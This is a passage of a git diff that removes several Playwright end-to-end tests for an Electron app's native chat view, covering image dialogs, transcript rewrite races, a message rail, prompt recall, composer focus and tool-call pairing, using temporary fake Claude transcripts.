'| Preview | Details |', - '| --- | --- |', - `| ![Inline chat screenshot](${imagePath}) | [Ordinary file link](${imagePath}) |` - ].join('\n') - }) -} - -test('opens a native-chat Markdown table image in the image dialog without a file popup', async ({ - electronApp, - orcaPage, - testRepoPath -}, testInfo) => { - expect(existsSync(sourceImage)).toBe(true) - const imagePath = path.join(testRepoPath, `inline-chat-preview-${randomUUID()}.png`) - const sessionId = `e2e-inline-image-${randomUUID()}` - const scratchDir = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-inline-image-')) - const transcriptPath = path.join(scratchDir, `${sessionId}.jsonl`) - copyFileSync(sourceImage, imagePath) - - try { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage) - const boundPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - const ptyId = await waitForActivePanePtyId(orcaPage) - await waitForPtyShellEcho(orcaPage, ptyId, 15_000) - const descriptor = await waitForActivePaneHookDescriptor(orcaPage) - expect(descriptor.paneKey).toBe(`${boundPane.tabId}:${boundPane.activeLeafId}`) - const [tabId] = descriptor.paneKey.split(':') - writeFileSync(transcriptPath, transcript(sessionId, imagePath)) - await orcaPage.evaluate(async () => { - await window.__store?.getState().updateSettings({ terminalLinkClickBehavior: 'actions' }) - }) - await seedClaudeProviderSession(orcaPage, { - paneKey: descriptor.paneKey, - worktreeId: descriptor.worktreeId, - sessionId, - transcriptPath - }) - await toggleTerminalTabToChatView(orcaPage, { tabId, worktreeId: descriptor.worktreeId }) - - const chat = orcaPage.locator('[data-native-chat-root="true"]') - const image = chat.getByRole('button', { name: 'View image: Inline chat screenshot' }) - await expect(image).toBeVisible({ timeout: 30_000 }) - const ordinaryFileLink = chat.getByRole('link', { name: 'Ordinary file link' }) - await expect(ordinaryFileLink).toBeVisible() - await chat - .locator('table') - .screenshot({ path: testInfo.outputPath('01-table-image-light.png') }) - - await ordinaryFileLink.click() - const ordinaryFilePopup = orcaPage.locator('[data-link-action-popover]') - await expect(ordinaryFilePopup).toBeVisible() - await expect(ordinaryFilePopup).toContainText(imagePath) - await expect(ordinaryFilePopup.getByRole('button', { name: 'Open file' })).toBeVisible() - await ordinaryFilePopup.screenshot({ - path: testInfo.outputPath('02-ordinary-file-popup-light.png') - }) - await orcaPage.keyboard.press('Escape') - await expect(ordinaryFilePopup).toHaveCount(0) - await expect(ordinaryFileLink).toBeFocused() - - await image.click() - const dialog = orcaPage.getByRole('dialog', { name: 'Inline chat screenshot' }) - await expect(dialog).toBeVisible() - await expect(dialog.getByRole('img', { name: 'Inline chat screenshot' })).toBeVisible() - await expect(ordinaryFilePopup).toHaveCount(0) - await expect(orcaPage.getByRole('menu')).toHaveCount(0) - await dialog.screenshot({ path: testInfo.outputPath('03-image-dialog-light.png') }) - - const zoomIn = dialog.getByRole('button', { name: 'Zoom in' }) - await expect(zoomIn).toBeEnabled() - await zoomIn.click() - await expect(dialog.getByRole('button', { name: 'Fit to screen' })).toBeEnabled() - const actions = dialog.getByRole('button', { name: 'File actions' }) - await expect(actions).toBeVisible() - await actions.click() - await expect(orcaPage.getByRole('menu')).toBeVisible() - await dialog.screenshot({ path: testInfo.outputPath('04-image-dialog-actions-light.png') }) - await orcaPage.keyboard.press('Escape') - await expect(orcaPage.getByRole('menu')).toHaveCount(0) - await expect(dialog).toBeVisible() - await dialog.getByRole('button', { name: 'Close', exact: true }).click() - await expect(dialog).toHaveCount(0) - await expect(image).toBeFocused() - - await image.focus() - await orcaPage.keyboard.press('Enter') - await expect(dialog).toBeVisible() - await dialog.getByRole('button', { name: 'Close', exact: true }).click() - await expect(dialog).toHaveCount(0) - await expect(image).toBeFocused() - - await image.focus() - await orcaPage.keyboard.press('Space') - await expect(dialog).toBeVisible() - await dialog.getByRole('button', { name: 'Close', exact: true }).click() - await expect(dialog).toHaveCount(0) - await expect(image).toBeFocused() - - await orcaPage.evaluate(() => document.documentElement.classList.add('dark')) - await image.click() - await expect(dialog).toBeVisible() - await dialog.screenshot({ path: testInfo.outputPath('05-image-dialog-dark.png') }) - await orcaPage.setViewportSize({ width: 480, height: 560 }) - await expect(dialog).toBeVisible() - await dialog.screenshot({ path: testInfo.outputPath('06-image-dialog-dark-narrow.png') }) - await orcaPage.keyboard.press('Escape') - await expect(dialog).toHaveCount(0) - - const windows = await electronApp.evaluate(({ BrowserWindow }) => - BrowserWindow.getAllWindows().map((window) => ({ - visible: window.isVisible(), - focused: window.isFocused() - })) - ) - expect(windows.length).toBeGreaterThan(0) - expect(windows.every((window) => !window.visible && !window.focused)).toBe(true) - const finalPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - expect(finalPane.tabId).toBe(boundPane.tabId) - expect(finalPane.activeLeafId).toBe(boundPane.activeLeafId) - expect(finalPane.ptyIdsByLeafId).toEqual(boundPane.ptyIdsByLeafId) - expect( - await orcaPage.evaluate( - ({ worktreeId, tabId, leafId }) => { - const state = window.__store?.getState() - const tab = state?.unifiedTabsByWorktree[worktreeId]?.find( - (candidate) => candidate.contentType === 'terminal' && candidate.entityId === tabId - ) - return Boolean( - leafId && - tab?.viewMode === 'chat' && - state?.terminalLayoutsByTabId[tabId]?.chatLeafId === leafId - ) - }, - { - worktreeId: descriptor.worktreeId, - tabId: boundPane.tabId, - leafId: boundPane.activeLeafId - } - ) - ).toBe(true) - await expect(chat).toBeAttached() - } finally { - rmSync(imagePath, { force: true }) - rmSync(scratchDir, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/native-chat-inplace-drain-race.spec.ts b/tests/e2e/native-chat-inplace-drain-race.spec.ts deleted file mode 100644 index c3dc93cb81e..00000000000 --- a/tests/e2e/native-chat-inplace-drain-race.spec.ts +++ /dev/null @@ -1,147 +0,0 @@ -import { randomUUID } from 'node:crypto' -import { appendFileSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - waitForActivePaneHookDescriptor, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForPaneIdentitySnapshot -} from './helpers/terminal' -import { waitForPtyShellEcho } from './terminal-pty-readiness' -import { - claudeTranscriptLines, - seedClaudeProviderSession, - toggleTerminalTabToChatView -} from './helpers/native-chat-transcript-fixture' - -test('renders a larger transcript rewrite during snapshot publication, then ordinary appends', async ({ - electronApp, - orcaPage, - registerPostElectronShutdownCleanup -}, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const boundPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - const ptyId = await waitForActivePanePtyId(orcaPage) - await waitForPtyShellEcho(orcaPage, ptyId, 15_000) - const descriptor = await waitForActivePaneHookDescriptor(orcaPage) - expect(descriptor.paneKey).toBe(`${boundPane.tabId}:${boundPane.activeLeafId}`) - const [tabId] = descriptor.paneKey.split(':') - const sessionId = `drain-race-${randomUUID()}` - const root = mkdtempSync(join(tmpdir(), 'orca-native-chat-drain-proof-')) - registerPostElectronShutdownCleanup(async () => rmSync(root, { recursive: true, force: true })) - const transcriptPath = join(root, `${sessionId}.jsonl`) - const cleanupChannel = `e2e:drain-race-cleanup:${sessionId}` - const oldText = 'Original transcript before replacement' - const newText = 'Replacement transcript written while the original snapshot was being published' - writeFileSync( - transcriptPath, - claudeTranscriptLines({ - sessionId, - messageIdPrefix: 'old', - userText: 'Original question', - assistantText: oldText - }) - ) - const replacement = claudeTranscriptLines({ - sessionId, - messageIdPrefix: 'new', - userText: 'The transcript was replaced during publication. Can you show the new conversation?', - assistantText: newText - }) - // Force the observed ordering on the real host; leave IPC delivery and renderer handling intact. - await electronApp.evaluate( - ({ BrowserWindow, ipcMain }, args) => { - const fs = process.getBuiltinModule('fs') - const contents = BrowserWindow.getAllWindows()[0]?.webContents - if (!contents) { - throw new Error('Renderer unavailable') - } - const send = contents.send - ipcMain.once(args.cleanupChannel, () => { - contents.send = send - }) - contents.send = function (channel: string, ...values: unknown[]): void { - send.call(this, channel, ...values) - const payload = values[0] - if ( - channel !== 'nativeChat:appended' || - !payload || - typeof payload !== 'object' || - !('frame' in payload) - ) { - return - } - const frame = payload.frame - if ( - !frame || - typeof frame !== 'object' || - !('messages' in frame) || - !Array.isArray(frame.messages) - ) { - return - } - if ( - frame.messages.some( - (message: unknown) => - message && typeof message === 'object' && 'id' in message && message.id === 'old-user' - ) - ) { - contents.send = send - fs.writeFileSync(args.transcriptPath, args.replacement) - } - } - }, - { transcriptPath, replacement, cleanupChannel } - ) - - const transcript = orcaPage.locator('[data-native-chat-root="true"]') - async function capture(name: string): Promise { - const bounds = await transcript.boundingBox() - if (!bounds) { - throw new Error('Chat transcript has no rendered bounds') - } - await orcaPage.screenshot({ - path: testInfo.outputPath(name), - clip: { ...bounds, height: Math.min(bounds.height, 320) } - }) - } - try { - await seedClaudeProviderSession(orcaPage, { ...descriptor, sessionId, transcriptPath }) - await toggleTerminalTabToChatView(orcaPage, { tabId, worktreeId: descriptor.worktreeId }) - await expect(transcript).toBeVisible() - try { - await expect(transcript.getByText(newText)).toBeVisible({ timeout: 8_000 }) - await expect(transcript.getByText(oldText)).toHaveCount(0) - } finally { - await capture('after-drain.png') - } - const followup = 'Ordinary appended messages still arrive exactly once.' - appendFileSync( - transcriptPath, - claudeTranscriptLines({ - sessionId, - messageIdPrefix: 'followup', - userText: 'Continue', - assistantText: followup - }) - ) - await expect(transcript.getByText(followup)).toBeVisible() - await expect(transcript.getByText(followup)).toHaveCount(1) - await capture('after-followup.png') - const finalPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - expect(finalPane.tabId).toBe(boundPane.tabId) - expect(finalPane.activeLeafId).toBe(boundPane.activeLeafId) - expect(finalPane.ptyIdsByLeafId).toEqual(boundPane.ptyIdsByLeafId) - await expect(transcript).toBeVisible() - } finally { - await electronApp.evaluate(({ ipcMain }, channel) => { - ipcMain.emit(channel) - }, cleanupChannel) - } -}) diff --git a/tests/e2e/native-chat-message-rail.spec.ts b/tests/e2e/native-chat-message-rail.spec.ts deleted file mode 100644 index 8a157994af1..00000000000 --- a/tests/e2e/native-chat-message-rail.spec.ts +++ /dev/null @@ -1,201 +0,0 @@ -// Exercise the rail's per-tick preview and its jumps against a real transcript. - -import { randomUUID } from 'node:crypto' -import { appendFileSync, mkdirSync, mkdtempSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { Locator, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - waitForActivePaneHookDescriptor, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForPaneIdentitySnapshot -} from './helpers/terminal' -import { waitForPtyShellEcho } from './terminal-pty-readiness' - -/** 30 user turns, so the rail is well past its 20-tick sampling cap. */ -const TRANSCRIPT_ROWS = 60 -const SHOT_DIR = path.join(os.tmpdir(), 'orca-rail-validation-larvacean', 'shots') - -async function enableNativeChatSetting(page: Page): Promise { - await page.evaluate(async () => { - const nextSettings = await window.api.settings.set({ - nativeChatProviders: { claude: true, codex: true } - }) - window.__store?.setState({ settings: nextSettings }) - }) -} - -async function seedClaudeProviderSession( - page: Page, - args: { paneKey: string; worktreeId: string; sessionId: string; transcriptPath: string } -): Promise { - await page.evaluate(({ paneKey, worktreeId, sessionId, transcriptPath }) => { - window.__store - ?.getState() - .setAgentStatus( - paneKey, - { state: 'working', prompt: 'e2e message rail probe', agentType: 'claude' }, - 'Claude', - undefined, - { worktreeId }, - { providerSession: { key: 'session_id', id: sessionId, transcriptPath } } - ) - }, args) -} - -async function toggleTerminalTabToChatView( - page: Page, - args: { tabId: string; worktreeId: string } -): Promise { - await page.evaluate(({ tabId, worktreeId }) => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - const state = store.getState() - const unifiedTab = (state.unifiedTabsByWorktree[worktreeId] ?? []).find( - (tab) => tab.contentType === 'terminal' && tab.entityId === tabId - ) - if (!unifiedTab) { - throw new Error('Unified terminal tab not found for chat toggle') - } - state.toggleTabViewMode(unifiedTab.id) - }, args) -} - -function claudeTranscript(rowCount: number, sessionId: string): string { - const startedAt = Date.now() - rowCount * 1_000 - return `${Array.from({ length: rowCount }, (_, index) => { - const isUser = index % 2 === 0 - const turn = Math.floor(index / 2) - const body = isUser - ? `Question ${turn}: what does the rail do when I scroll a long reply?` - : [ - // Vary heading/code heights so jumps cross rows that resize below their estimates. - `## Answer for turn ${turn}`, - `\`\`\`ts\n${Array.from({ length: 2 + (turn % 5) * 4 }, (_unused, line) => `const line${line} = ${turn}`).join('\n')}\n\`\`\``, - ...Array.from( - { length: 6 + (turn % 7) * 3 }, - (_unused, line) => `Answer paragraph ${line + 1} for turn ${turn}.` - ) - ].join('\n\n') - return JSON.stringify({ - sessionId, - uuid: `${sessionId}-${index}`, - timestamp: new Date(startedAt + index * 1_000).toISOString(), - type: isUser ? 'user' : 'assistant', - message: { - role: isUser ? 'user' : 'assistant', - model: 'claude-opus-4', - content: [{ type: 'text', text: body }] - } - }) - }).join('\n')}\n` -} - -test.describe('Native chat message rail', () => { - test('previews prompts and jumps without following later output', async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - - const boundPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - const ptyId = await waitForActivePanePtyId(orcaPage) - await waitForPtyShellEcho(orcaPage, ptyId, 15_000) - const descriptor = await waitForActivePaneHookDescriptor(orcaPage) - expect(descriptor.paneKey).toBe(`${boundPane.tabId}:${boundPane.activeLeafId}`) - const [tabId] = descriptor.paneKey.split(':') - const sessionId = `e2e-message-rail-${randomUUID()}` - const scratchDir = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-native-chat-rail-')) - const transcriptPath = path.join(scratchDir, `${sessionId}.jsonl`) - writeFileSync(transcriptPath, claudeTranscript(TRANSCRIPT_ROWS, sessionId)) - mkdirSync(SHOT_DIR, { recursive: true }) - - await enableNativeChatSetting(orcaPage) - await seedClaudeProviderSession(orcaPage, { - paneKey: descriptor.paneKey, - worktreeId: descriptor.worktreeId, - sessionId, - transcriptPath - }) - await toggleTerminalTabToChatView(orcaPage, { tabId, worktreeId: descriptor.worktreeId }) - - await expect(orcaPage.locator('[data-native-chat-root="true"]')).toBeVisible({ - timeout: 15_000 - }) - const transcriptWindow = orcaPage.locator('[data-native-chat-window]') - await expect(transcriptWindow).toBeVisible({ timeout: 30_000 }) - - const rail = orcaPage.locator('[data-native-chat-rail]') - await expect(rail).toBeVisible({ timeout: 30_000 }) - - // Every user turn has a tick while the rail fits: a tick is the only way to its message. - const ticks = rail.getByRole('button') - await expect(ticks).toHaveCount(TRANSCRIPT_ROWS / 2) - - await orcaPage.screenshot({ - path: path.join(SHOT_DIR, 'rail-01-app.png'), - animations: 'disabled' - }) - - // Hovering one tick previews that message and the reply to it, not the whole thread. - const tick = rail.getByRole('button', { name: 'Question 5:', exact: false }) - await tick.hover() - const preview = orcaPage.locator('[data-slot="hover-card-content"]') - await expect(preview).toBeVisible({ timeout: 10_000 }) - await expect(preview).toContainText('Question 5:') - await expect(preview).not.toContainText('Question 6:') - await expect(preview).toContainText('Answer for turn 5') - await expect(preview.locator('p')).toHaveCount(2) - await orcaPage.screenshot({ - path: path.join(SHOT_DIR, 'rail-02-preview.png'), - animations: 'disabled' - }) - - const scroller = orcaPage.locator('[data-native-chat-scroll]') - const offsetOf = (row: Locator) => async (): Promise => { - const [box, viewport] = await Promise.all([row.boundingBox(), scroller.boundingBox()]) - return box && viewport ? Math.abs(box.y - viewport.y) : Number.POSITIVE_INFINITY - } - // Require top alignment and tick selection across resizing rows in both animated and instant jump paths. - for (const reducedMotion of ['reduce', 'no-preference'] as const) { - await orcaPage.emulateMedia({ reducedMotion }) - for (const turn of [22, 12, 5]) { - const jumped = rail.getByRole('button', { name: `Question ${turn}:`, exact: false }) - await jumped.click() - await expect - .poll(offsetOf(transcriptWindow.locator(`[data-index="${turn * 2}"]`))) - .toBeLessThan(4) - await expect(jumped).toHaveAttribute('aria-current', 'true') - } - } - const targetOffset = offsetOf(transcriptWindow.locator('[data-index="10"]')) - - for (let revision = 0; revision < 3; revision += 1) { - const body = `Later streamed output ${revision}` - appendFileSync( - transcriptPath, - `${JSON.stringify({ - sessionId, - uuid: `${sessionId}-stream-${revision}`, - type: 'assistant', - timestamp: new Date().toISOString(), - message: { role: 'assistant', content: [{ type: 'text', text: body }] } - })}\n` - ) - await expect(transcriptWindow.getByText(body, { exact: true })).toBeAttached() - await expect.poll(targetOffset).toBeLessThan(4) - } - - console.log(`[rail] shots=${SHOT_DIR}`) - const finalPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - expect(finalPane.tabId).toBe(boundPane.tabId) - expect(finalPane.activeLeafId).toBe(boundPane.activeLeafId) - expect(finalPane.ptyIdsByLeafId).toEqual(boundPane.ptyIdsByLeafId) - await expect(orcaPage.locator('[data-native-chat-root="true"]')).toBeVisible() - }) -}) diff --git a/tests/e2e/native-chat-plugin-ui-frames.spec.ts b/tests/e2e/native-chat-plugin-ui-frames.spec.ts deleted file mode 100644 index 17c2f2c0d82..00000000000 --- a/tests/e2e/native-chat-plugin-ui-frames.spec.ts +++ /dev/null @@ -1,32 +0,0 @@ -// A Claude plugin's status line and toasts never reach the chat transcript as raw provider rows. - -import { readFileSync } from 'node:fs' -import { expect } from './helpers/orca-app' -import { SUPPORTED, openStubChat, test } from './helpers/structured-claude-stub' - -test.describe('native chat plugin UI frames', () => { - test.skip(!SUPPORTED, 'the Claude stub wrapper is POSIX-only') - - test('a focused plugin pane fails once and a follow-up completes on a fresh process', async ({ - orcaPage: page, - claudeStub - }) => { - const { reply, composer } = await openStubChat(page, claudeStub.command) - await page.keyboard.type('plugin-focus probe') - await page.keyboard.press('Enter') - const chat = page.locator('[data-native-chat-root="true"]') - await expect(chat.getByText(/Claude stopped because the "blast-radius" plugin/)).toHaveCount( - 1, - { timeout: 30_000 } - ) - await composer.fill('recovery probe') - await composer.press('Enter') - await expect(reply).toBeVisible({ timeout: 30_000 }) - const requests = readFileSync(`${claudeStub.launchLog}.requests.jsonl`, 'utf8') - .trim() - .split('\n') - .map((line) => JSON.parse(line)) - const sends = requests.filter((request) => request.type === 'user') - expect(new Set(sends.map((request) => request.pid)).size).toBe(2) - }) -}) diff --git a/tests/e2e/native-chat-prompt-recall.spec.ts b/tests/e2e/native-chat-prompt-recall.spec.ts deleted file mode 100644 index d3cd39c77d8..00000000000 --- a/tests/e2e/native-chat-prompt-recall.spec.ts +++ /dev/null @@ -1,174 +0,0 @@ -import { observeTranscriptPaneLifetime } from './helpers/native-chat-transcript-fixture' -// Up/Down in the composer walk the chat's sent prompts, against real layout and key events. - -import { randomUUID } from 'node:crypto' -import { mkdtempSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { Locator } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - waitForActivePaneHookDescriptor, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForPaneIdentitySnapshot -} from './helpers/terminal' -import { waitForPtyShellEcho } from './terminal-pty-readiness' - -const FIRST = 'first prompt' -const MULTI_LINE = 'line one\nline two\nline three' -const WRAPPED = Array.from({ length: 60 }, (_, index) => `wrapped${index}`).join(' ') -const COMMAND = '/clear' -const PROMPTS = [ - FIRST, - 'background task done', - MULTI_LINE, - WRAPPED, - COMMAND -] - -function claudeTranscript(sessionId: string): string { - const startedAt = Date.now() - 60_000 - return `${PROMPTS.flatMap((prompt, turn) => - [ - ['user', prompt], - ['assistant', `Answer ${turn}.`] - ].map(([role, text], half) => - JSON.stringify({ - sessionId, - uuid: `${sessionId}-${turn}-${half}`, - timestamp: new Date(startedAt + (turn * 2 + half) * 1_000).toISOString(), - type: role, - message: { role, model: 'claude-opus-4', content: [{ type: 'text', text }] } - }) - ) - ).join('\n')}\n` -} - -/** The composer's text, one line per paragraph. */ -function draft(composer: Locator): Promise { - return composer.evaluate((element) => - Array.from(element.querySelectorAll('p'), (line) => line.textContent ?? '').join('\n') - ) -} - -test('Up and Down walk the prompts already in the chat', async ({ orcaPage }, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const boundPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - const ptyId = await waitForActivePanePtyId(orcaPage) - await waitForPtyShellEcho(orcaPage, ptyId, 15_000) - const descriptor = await waitForActivePaneHookDescriptor(orcaPage) - expect(descriptor.paneKey).toBe(`${boundPane.tabId}:${boundPane.activeLeafId}`) - const [tabId] = descriptor.paneKey.split(':') - const sessionId = `e2e-prompt-recall-${randomUUID()}` - const transcriptPath = path.join( - mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-prompt-recall-')), - `${sessionId}.jsonl` - ) - writeFileSync(transcriptPath, claudeTranscript(sessionId)) - - const finishLifetime = await observeTranscriptPaneLifetime(orcaPage, { - tabId, - worktreeId: descriptor.worktreeId, - paneKey: descriptor.paneKey - }) - try { - await orcaPage.evaluate( - async ({ paneKey, worktreeId, tabId, sessionId, transcriptPath }) => { - const settings = await window.api.settings.set({ - nativeChatProviders: { claude: true, codex: true } - }) - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - store.setState({ settings }) - const state = store.getState() - state.setAgentStatus( - paneKey, - { state: 'done', prompt: 'e2e prompt recall', agentType: 'claude' }, - 'Claude', - undefined, - { worktreeId }, - { providerSession: { key: 'session_id', id: sessionId, transcriptPath } } - ) - const tab = (state.unifiedTabsByWorktree[worktreeId] ?? []).find( - (candidate) => candidate.contentType === 'terminal' && candidate.entityId === tabId - ) - if (!tab) { - throw new Error('Terminal tab unavailable') - } - state.toggleTabViewMode(tab.id) - }, - { ...descriptor, tabId, sessionId, transcriptPath } - ) - - const chat = orcaPage.locator('[data-native-chat-root="true"]') - await expect(chat.getByText('Answer 4.')).toBeVisible() - const composer = chat.getByRole('textbox') - await composer.click() - const press = async (key: 'ArrowUp' | 'ArrowDown'): Promise => { - await orcaPage.keyboard.press(key) - // Why: the editor learns of a caret the browser moved a task later; a person never out-types that. - await expect - .poll(() => - composer.evaluate((element) => { - type Mounted = Element & { - editor: { - state: { selection: { from: number } } - view: { posAtDOM: (node: Node, offset: number) => number } - } - } - // Tiptap hangs its editor on the element it mounts. - const isMounted = (candidate: Element): candidate is Mounted => 'editor' in candidate - const selection = window.getSelection() - return isMounted(element) && selection?.anchorNode - ? element.editor.view.posAtDOM(selection.anchorNode, selection.anchorOffset) === - element.editor.state.selection.from - : false - }) - ) - .toBe(true) - return draft(composer) - } - - // Newest first; the recalled command does not hand the arrows to its picker. - expect(await press('ArrowUp')).toBe(COMMAND) - expect(await press('ArrowUp')).toBe(WRAPPED) - - // Inside a wrapped prompt Up climbs its visual lines before recalling the one before. - let climbs = 0 - while ((await press('ArrowUp')) === WRAPPED) { - climbs += 1 - expect(climbs).toBeLessThan(20) - } - expect(climbs).toBeGreaterThan(0) - expect(await draft(composer)).toBe(MULTI_LINE) - - // Three typed lines: two presses reach the first line, the third recalls. The harness turn is skipped. - expect(await press('ArrowUp')).toBe(MULTI_LINE) - expect(await press('ArrowUp')).toBe(MULTI_LINE) - expect(await press('ArrowUp')).toBe(FIRST) - expect(await press('ArrowUp')).toBe(FIRST) - - // Down: each recalled prompt lands with the caret on its last line, so one press moves on. - expect(await press('ArrowDown')).toBe(MULTI_LINE) - expect(await press('ArrowDown')).toBe(WRAPPED) - expect(await press('ArrowDown')).toBe(COMMAND) - expect(await press('ArrowDown')).toBe('') - const finalPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - expect(finalPane.tabId).toBe(boundPane.tabId) - expect(finalPane.activeLeafId).toBe(boundPane.activeLeafId) - expect(finalPane.ptyIdsByLeafId).toEqual(boundPane.ptyIdsByLeafId) - await expect(chat).toBeVisible() - } finally { - await testInfo.attach('transcript-pane-lifetime', { - body: JSON.stringify(await finishLifetime()), - contentType: 'application/json' - }) - } -}) diff --git a/tests/e2e/native-chat-send-focus.spec.ts b/tests/e2e/native-chat-send-focus.spec.ts deleted file mode 100644 index ae1acc388e6..00000000000 --- a/tests/e2e/native-chat-send-focus.spec.ts +++ /dev/null @@ -1,100 +0,0 @@ -// Completed tab and composer actions return keyboard input to the chat draft. - -import type { Locator } from '@stablyai/playwright-test' -import { expect } from './helpers/orca-app' -import { SUPPORTED, openStubChat, test } from './helpers/structured-claude-stub' - -function focusIsIn(composer: Locator): Promise { - return composer.evaluate((element) => element.contains(element.ownerDocument.activeElement)) -} - -test.describe('native chat composer focus', () => { - test.skip(!SUPPORTED, 'the Claude stub wrapper is POSIX-only') - - test('quick launcher keeps focus when Copy Context completes', async ({ - electronApp, - orcaPage: page, - claudeStub - }, testInfo) => { - await page.setViewportSize({ width: 1280, height: 900 }) - const { composer, send, reply } = await openStubChat(page, claudeStub.command) - await page.keyboard.type('hello') - await send.click() - await expect(reply).toBeVisible({ timeout: 30_000 }) - await electronApp.evaluate(({ ipcMain }) => { - ipcMain.removeHandler('clipboard:writeTerminalText') - ipcMain.handle( - 'clipboard:writeTerminalText', - () => - new Promise((resolve) => { - const gate: { pid: number; releaseContextCopy?: () => void } = process - gate.releaseContextCopy = resolve - }) - ) - }) - await reply.click({ button: 'right' }) - await page.getByRole('menuitem', { name: 'Copy Context', exact: true }).click() - await expect - .poll(() => - electronApp.evaluate(() => { - const gate: { pid: number; releaseContextCopy?: () => void } = process - return typeof gate.releaseContextCopy === 'function' - }) - ) - .toBe(true) - await page.getByRole('button', { name: 'New tab', exact: true }).click() - const menu = page.getByRole('menu', { name: 'New tab', exact: true }) - const search = menu.getByRole('combobox') - await expect(search).toBeFocused() - - await electronApp.evaluate(() => { - const gate: { pid: number; releaseContextCopy?: () => void } = process - gate.releaseContextCopy?.() - }) - - await expect(page.getByText('Context copied', { exact: true })).toBeVisible() - await expect(menu).toBeVisible() - await expect(search).toBeFocused() - await page.keyboard.type('terminal') - await expect(search).toHaveValue('terminal') - await expect(composer).toHaveText('') - await page.screenshot({ path: testInfo.outputPath('quick-launch-focus.png') }) - }) - - test('keyboard tab rename returns input to the native chat composer', async ({ - orcaPage: page, - claudeStub - }) => { - const { tab, composer } = await openStubChat(page, claudeStub.command) - await tab.dblclick() - const rename = tab.locator('[data-tab-rename-input="true"]') - await expect(rename).toBeFocused() - await rename.fill('') - await rename.pressSequentially('Renamed chat', { delay: 60 }) - await page.keyboard.press('Enter') - await expect(rename).toHaveCount(0) - await expect(tab).toHaveAttribute('data-tab-title', 'Renamed chat') - await expect.poll(() => focusIsIn(composer)).toBe(true) - await page.keyboard.type('Draft after rename') - await expect(composer).toContainText('Draft after rename') - }) - - test('when Send disables at the end of the turn', async ({ orcaPage: page, claudeStub }) => { - const { composer, send, stop, reply } = await openStubChat(page, claudeStub.command) - await page.keyboard.type('hello') - await send.click() - await expect(reply).toBeVisible({ timeout: 30_000 }) - await expect(stop).toHaveCount(0) - await expect.poll(() => focusIsIn(composer)).toBe(true) - }) - - test('when Stop disables while the stop is in flight', async ({ orcaPage: page, claudeStub }) => { - const { composer, send, stop } = await openStubChat(page, claudeStub.command) - // The stub runs a prompt containing "slow" until it is interrupted. - await page.keyboard.type('slow') - await send.click() - await stop.click() - await expect(stop).toHaveCount(0, { timeout: 30_000 }) - await expect.poll(() => focusIsIn(composer)).toBe(true) - }) -}) diff --git a/tests/e2e/native-chat-tool-pairing.spec.ts b/tests/e2e/native-chat-tool-pairing.spec.ts deleted file mode 100644 index be49370b608..00000000000 --- a/tests/e2e/native-chat-tool-pairing.spec.ts +++ /dev/null @@ -1,249 +0,0 @@ -import { randomUUID } from 'node:crypto' -import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - waitForActivePaneHookDescriptor, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForPaneIdentitySnapshot -} from './helpers/terminal' -import { waitForPtyShellEcho } from './terminal-pty-readiness' -import { - observeTranscriptPaneLifetime, - claudeTranscriptLines, - seedClaudeProviderSession, - toggleTerminalTabToChatView -} from './helpers/native-chat-transcript-fixture' - -test.use({ - minimumSeededWorktreeCount: 1, - orcaAppExtraEnv: { ORCA_BACKGROUND_LAUNCH: '1' } -}) - -const SILENT_CALL_COUNT = 32 -const ACCEPTED_TASK = 'Keep the accepted task' -const REJECTED_TASK = 'Reject this failed replacement' -const COMMANDS = ['printf pairing_first', 'printf pairing_second', 'printf pairing_third'] -const OUTPUTS = ['PAIR_OWNER_FIRST', 'PAIR_OWNER_SECOND', 'PAIR_OWNER_THIRD'] - -function pairingTranscript(sessionId: string): string { - const calls = [ - ...Array.from({ length: SILENT_CALL_COUNT }, (_, index) => ({ - type: 'tool_use', - id: `silent-${index}`, - name: 'Bash', - input: { command: `printf silent_${index}` } - })), - ...COMMANDS.map((command, index) => ({ - type: 'tool_use', - id: `named-${index}`, - name: 'Bash', - input: { command } - })), - { - type: 'tool_use', - id: 'accepted-tasks', - name: 'TodoWrite', - input: { todos: [{ content: ACCEPTED_TASK, status: 'pending' }] } - }, - { - type: 'tool_use', - id: 